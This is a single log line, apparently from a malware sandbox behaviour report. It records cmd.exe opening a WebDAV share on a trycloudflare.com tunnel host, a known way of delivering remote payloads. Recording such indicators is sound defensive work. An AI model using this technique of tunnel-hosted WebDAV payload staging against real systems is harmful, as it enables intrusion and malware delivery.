Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\			Jump to behavior